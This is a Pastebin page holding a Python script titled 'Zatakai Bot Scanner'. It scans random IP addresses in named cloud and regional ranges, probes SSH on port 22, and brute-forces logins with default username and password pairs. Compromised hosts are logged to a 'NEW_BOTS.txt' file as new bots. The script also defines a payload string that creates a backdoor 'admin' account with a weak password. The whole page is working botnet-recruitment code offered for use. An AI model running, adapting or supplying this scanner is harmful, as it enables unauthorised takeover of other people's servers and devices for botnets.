Advertisement
mem3_dump

OFFICIAL ZATAKAI BOT SCANNER RELEASE V2 (RANGES ADDED)

Feb 10th, 2019
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.88 KB | None | 0 0
  1. #A gift from Dump
  2. import threading, sys, colors, socket, random, os, time
  3. try:
  4.     import paramiko
  5. except ImportError:
  6.     print(colors.white + "Paramiko is not installed, installing...")
  7.     os.system("pip install paramiko")
  8.     os.system("clear")
  9. paramiko.util.log_to_file("/dev/null")
  10. print("""
  11.  
  12.   {0} #################
  13.  {1}#|-----------------|#
  14.  #| Zatakai Scanner |#
  15.  #|  By M3me_Dump   |#
  16.  #|-----------------|#
  17.   {0}|_________________|
  18.  
  19. """.format(colors.dark_yellow, colors.white, colors.white))
  20. if os.getuid() != 0:
  21.     print(colors.dark_red + "   You need to be root!" + colors.end)
  22.     quit()
  23. os.system("ulimit -s 99999; ulimit -n 99999")
  24. os.system("sysctl -w fs.file-max=999999 2>/dev/null")
  25. os.system("ulimit 9999999; ulimit -H 99999999")
  26. payload = """sudo -l; echo -e "12345\n12345\n" | adduser admin; echo -e "12345\n12345\n" | sudo adduser admin; echo "12345\n12345\n" | passwd"""
  27. class Scanner(threading.Thread):
  28.     global combos, ranges, google, amazon, lucky3
  29.     brazil = ["179.105.","179.152.","189.29.","189.32.","189.33.","189.34.","189.35.","189.39.","189.4.","189.54.","189.55.","189.60.","189.61.","189.62.","189.63.","189.126.", "189.{}.".format(str(random.randrange(0, 256)))]
  30.     google = ["35.", "34.", "104."]
  31.     ovh = ["54.37.", "54.34.", "54.35", "54.122.", "54.91.", "51.{}.".format(str(random.randrange(0, 256))), "51.{}.".format(str(random.randrange(0, 256)))]
  32.     lucky = ["125.27.","101.109.","113.53.","118.173.","122.170.","122.180.", "122.{}.".format(str(random.randrange(0, 256))), "118.{}.".format(str(random.randrange(0, 256))), "125.{}.".format(str(random.randrange(0, 256)))]
  33.     lucky2 = ["122.3","122.52","122.54","119.93", "122.{}.".format(str(random.randrange(0, 256))), "119.{}.".format(str(random.randrange(0, 256))), "123.{}.".format(str(random.randrange(0, 256)))]
  34.     lucky3 = ["110.","111.","112.","113.","114.","115.","116.","117.","118.","119.","223.","1.","103.","203.","202.","122."]
  35.     amazon = ["3.16."]
  36.     other = ["119.93.", "122.3.", "122.52.", "101.109.", "180.180.", "125.27.", "101.109."]
  37.     rand = ['{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256))),'{0}.{1}.'.format(str(random.randrange(0, 256)), str(random.randrange(0, 256)))]
  38.     try:
  39.         ranges = sys.argv[1]
  40.     except:
  41.         print("No range specified.\nUsage: python {} RANGE\nRANGE - options: Google, OVH, Amazon, Brazil, Lucky, Lucky2, Other, Random".format(sys.argv[0]))
  42.         quit()
  43.     if ranges.lower().strip() == "google":
  44.         ranges = google
  45.     elif ranges.lower().strip() == "ovh":
  46.         ranges = ovh
  47.     elif ranges.lower().strip() == "brazil":
  48.         ranges = brazil
  49.     elif ranges.lower().strip() == "lucky":
  50.         ranges = lucky
  51.     elif ranges.lower().strip() == "lucky2":
  52.         ranges = lucky2
  53.     elif ranges.lower().strip() == "amazon":
  54.         ranges = amazon
  55.     elif ranges.lower().strip() == "other":
  56.         ranges = other
  57.     elif ranges.lower().strip() == "random":
  58.         ranges = rand
  59.     elif ranges.lower().strip() == "lucky3":
  60.         ranges = lucky3
  61.     combos = ["admin:12345", "root:admin", "root:12345", "ubuntu:12345", "ubuntu:ubuntu"]
  62.     def run(self):
  63.         try:
  64.             for _range in ranges:
  65.                 c = 0
  66.                 for i in range(0, len(combos) - 1):
  67.                         for octet1 in range(1, 256):
  68.                             if ranges == google or ranges == lucky3:
  69.                                 try:
  70.                                     ip = _range + str(random.randrange(0,256)) + "." + str(random.randrange(0, 256)) + "." + str(random.randrange(0, 256))
  71.                                 except: pass
  72.                             else:
  73.                                 try:
  74.                                     ip = _range + str(octet1) + "." + str(random.randrange(0, 256))
  75.                                     c += 1
  76.                                     if c >= 255:
  77.                                         octet1 += 1
  78.                                 except: pass
  79.                             try:
  80.                                 user = combos[random.randint(0, len(combos))].split(":")[0]
  81.                                 passw = combos[random.randint(0, len(combos))].split(":")[1]
  82.                             except:
  83.                                 pass
  84.                             try:
  85.                                 s = socket.socket()
  86.                                 s.settimeout(2)
  87.                                 s.connect((ip, 22))
  88.                                 s.close()
  89.                                 #print("{} is GOOD".format(ip))
  90.                             except:
  91.                                 #print(colors.red + "{} IS BAD".format(ip))
  92.                                 ip = "bad"
  93.                             if ip == "bad":
  94.                                 pass
  95.                             else:
  96.                                 ssh = paramiko.Transport((ip, 22))
  97.                                 try:
  98.                                     sys.stdout.write(colors.sky_blue + "\n\rTrying {0}:{1}:{2}".format(ip, user, passw))
  99.                                     sys.stdout.flush()
  100.                                     ssh.connect(username=user, password=passw)
  101.                                     print("\n{0}IoT DEVICE {1} HAS BEEN PWNED".format(colors.green, ip))
  102.                                     isbad=False
  103.                                 except KeyboardInterrupt: quit()
  104.                                 except:
  105.                                     isbad=True
  106.                                     ssh.close()
  107.                                 if isbad != True:
  108.                                     try:
  109.                                         f = open("NEW_BOTS.txt", "a").write("{0}:{1}:{2}".format(ip, user, passw)).close()
  110.                                         ssh.close()
  111.                                         break
  112.                                     except: pass
  113.         except KeyboardInterrupt:
  114.                         print("{0}User requested interrupt, exiting..{1}".format(colors.blue, colors.end))
  115.                         quit()
  116.  
  117.  
  118. def run():
  119.     while 1:
  120.         for i in range(1, 1500):
  121.             try:
  122.                 t = Scanner()
  123.                 t.daemon = True
  124.                 t.start()
  125.                 if i > 100:
  126.                     t.join()
  127.             except KeyboardInterrupt: quit()
  128.             #except: pass
  129. run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement